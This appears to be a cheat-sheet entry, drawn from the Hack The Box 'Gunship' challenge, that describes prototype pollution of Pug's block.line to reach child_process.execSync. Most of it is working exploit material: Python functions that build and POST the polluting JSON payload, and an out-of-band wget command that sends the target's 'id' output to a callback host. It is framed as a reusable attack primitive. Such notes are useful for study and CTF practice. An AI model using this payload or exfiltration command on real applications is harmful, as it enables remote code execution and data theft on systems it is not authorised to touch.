Skip to content

Pug

Prototype pollution to Pug block.line execSync

Pollutes block.line for a Pug rendering path that later evaluates the inherited value and reaches child_process.execSync().

The reusable part is the JSON shape: a normal field is sent beside a __proto__ object whose polluted property matches a later Pug block lookup. When the application reads the inherited block.line value during rendering, the line reaches process.mainModule.require("child_process").execSync(...). The exact surrounding fields are target-specific, but the Pug sink shape is the important primitive.

def pollution_payload(command):
    return {
        "artist.name": "Alex.Westaway",
        "__proto__.block": {
            "type": "Text",
            "line": f"process.mainModule.require('child_process').execSync(`{command}`)"
        }
    }

def send_pollution(s, command):
    payload = pollution_payload(command)
    r = s.post(url=f"{URL}/api/submit", json=payload, verify=False, timeout=10, proxies=PROXIES)
    return r.status_code == 200

OOB command example

cmd = "wget -qO /dev/null CALLBACK?data=$(id | xxd -p -c 9999)"
send_pollution(s, cmd)

Find by: prototype pollution, pug, nodejs, node, child_process, execSync, process.mainModule, require, proto, block line, oob command · Source: HTB/Gunship